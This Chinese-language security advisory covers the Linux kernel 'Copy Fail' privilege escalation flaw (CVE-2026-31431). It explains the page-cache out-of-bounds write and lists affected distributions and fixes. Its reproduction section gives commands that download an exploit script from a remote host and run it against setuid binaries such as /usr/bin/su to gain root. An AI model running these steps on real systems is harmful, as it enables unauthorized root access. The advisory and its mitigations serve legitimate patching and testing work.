Linux 高危漏洞爆发！普通用户可直接提权 root

Linux 安全警报：一个稳定、隐蔽且极易利用的本地提权漏洞

最近，Linux安全领域曝出一个必须拉响最高级别警报的漏洞。它的代号是“Copy Fail”，编号CVE-2026-31431。这可不是那种需要复杂前置条件、利用起来看运气的“理论型”漏洞，而是一个能在本地稳定触发、一击即中的权限提升漏洞。一旦被成功利用，攻击者就能从普通用户身份，直接跃升为掌控一切的root。

为什么这个漏洞必须重视？

原因很简单，Linux内核是整个数字世界的基石。我们日常使用的云服务器、容器平台（比如Kubernetes）、数据库服务器乃至企业的核心基础设施，几乎全部运行在它之上。而这次出问题的，恰恰是内核中负责加密的Crypto API子系统。攻击面广，利用价值又极高，这两个因素叠加，危险程度不言而喻。

漏洞核心：一个“好心办坏事”的性能优化

用一句话概括这个漏洞的本质：一次旨在提升性能的优化，却意外引入了一个可控的内存越界写入漏洞。

先来看看涉及的关键组件：首先是AF_ALG接口，它允许用户态程序调用内核的加密功能；其次是algif_aead，负责处理AEAD模式的加解密；最后是authencesn算法，主要用于支持IPsec的扩展序列号。

那么，问题究竟是怎么产生的呢？时间要回溯到2017年的一次内核代码优化。开发者为了提升性能，引入了一种“就地解密”的机制。简单说，就是解密时不再将数据复制到新缓冲区，而是直接在原始数据缓冲区上操作。初衷是好的，但隐患就此埋下。

致命的缺陷出现在authencesn算法的处理流程中。它在解密时，会向缓冲区的特定位置写入4个字节的数据。问题在于，这个写入位置缺乏严格的边界检查。当通过特定的系统调用触发解密流程时，这4个字节就可能写到缓冲区之外，造成越界写入。

最严重的后果是什么？由于AF_ALG接口底层使用了splice()机制，数据可以直接映射到文件的页缓存中。最终的效果就是，攻击者有机会篡改任意一个已打开文件在内存中的内容，虽然每次只有4个字节，但足以致命。

这个漏洞真正可怕的地方

很多内核漏洞听起来吓人，但实际利用起来门槛很高，需要复杂的条件竞争或多次尝试。但这个漏洞完全不同，它有几个令人不安的特点：

第一，利用极其稳定。它不需要依赖难以把握的竞争条件，也不需要反复尝试，基本上可以做到一次成功。这意味着利用门槛被降到了极低。

第二，能够精准篡改关键文件。攻击者的目标非常明确——那些具有setuid权限的系统程序，比如/usr/bin/su或者/bin/ping。通过篡改这些文件的页缓存，就能实现直接的权限提升。

第三，隐蔽性极强。这是关键所在。攻击者修改的是文件在内存中的页缓存，而不是磁盘上的原始文件。这意味着，传统的基于文件完整性监控的安全工具很可能失效，系统管理员难以察觉异常，事后取证也异常困难。

第四，可用于持久化攻击。攻击者不仅可以一次性提权，还可以通过修改关键的系统程序或配置文件的执行路径，注入恶意逻辑，从而长期、隐蔽地控制整个系统。

漏洞详情（整理版）

漏洞名称：Linux Kernel本地权限提升漏洞（Copy Fail）
漏洞编号：CVE-2026-31431
漏洞类型：本地提权
危害等级：高危
影响范围：内核提交版本在 72548b093ee3 到 a664bf3d603d 之间的系统。

受影响系统（重点关注）

目前已确认受影响的系统发行版包括：

• Ubuntu 24.04 LTS
• Amazon Linux 2024
• Red Hat Enterprise Linux 8 / 9 / 10
• SUSE Linux Enterprise Server 15 SP4, 15 SP5

当然，其他基于受影响内核版本的Linux发行版同样存在风险。

完整复现步骤

如果你想在可控的测试环境中验证这个漏洞，可以遵循以下步骤。再次强调，仅限于授权测试环境。

步骤1：获取利用脚本
你可以从公开的POC仓库获取利用脚本：

# 推荐方式
curl -O https://github.com/theori-io/copy-fail-CVE-2026-31431
# 或者使用提供的快捷方式
curl https://copy.fail/exp -o copy_fail_exp.py

在运行脚本前，务必先备份目标文件，例如/usr/bin/su。

步骤2：运行利用脚本
执行脚本，默认会针对/usr/bin/su进行攻击：

python3 copy_fail_exp.py

你也可以指定其他setuid程序：

python3 copy_fail_exp.py /bin/ping

整个过程通常在几秒到十几秒内完成，脚本会自动完成对页缓存的注入。

步骤3：验证提权
尝试执行提权命令：

su
# 或者
sudo -i

如果成功，你将直接获得root权限，无需密码。执行id命令会显示uid=0(root)。

步骤4：测试完成后清理
测试结束后，务必清理环境，恢复系统：

# 清理页缓存（推荐）
echo 3 > /proc/sys/vm/drop_caches
# 恢复原始文件
sudo cp -a /usr/bin/su.bak /usr/bin/su

修复方案（必须执行）

1. 升级内核（首选方案）
最根本的修复方式是升级内核。官方补丁已经发布，只要你的内核提交版本达到或晚于 a664bf3d603d，漏洞即被修复。请立即检查并安排内核更新。

2. 关注发行版安全公告
各大主流发行版已发布安全公告和更新包，例如Ubuntu和Red Hat。建议立即订阅或查看相关安全通知，并按照官方指引进行升级。

临时缓解方案（无法升级时）

如果因为某些原因无法立即升级内核，可以采取临时缓解措施，禁用受影响的模块：

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf

然后重启系统使配置生效：

reboot

需要注意的是，这只是权宜之计。禁用该模块可能会影响那些依赖AEAD加密功能的应用程序。它绝不能替代打补丁或升级内核。

总结

总而言之，“Copy Fail”漏洞的危险性体现在它的稳定性、低利用门槛和极强的隐蔽性上。它不像一些需要“碰运气”的漏洞，而是提供了一个可靠且难以被发现的本地提权通道。一句话结论：如果你的Linux系统尚未应用包含修复补丁的内核更新，那么它很可能正暴露在此风险之下。立即行动，进行修复，是当前唯一正确的选择。

引用链接：
[1] CVE-2026-31431: https://www.cve.org/CVERecord?id=CVE-2026-31431
[2] 最新补丁已发布: https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
[3] Ubuntu: https://ubuntu.com/security/CVE-2026-31431
[4] Red Hat: https://access.redhat.com/security/cve/cve-2026-31431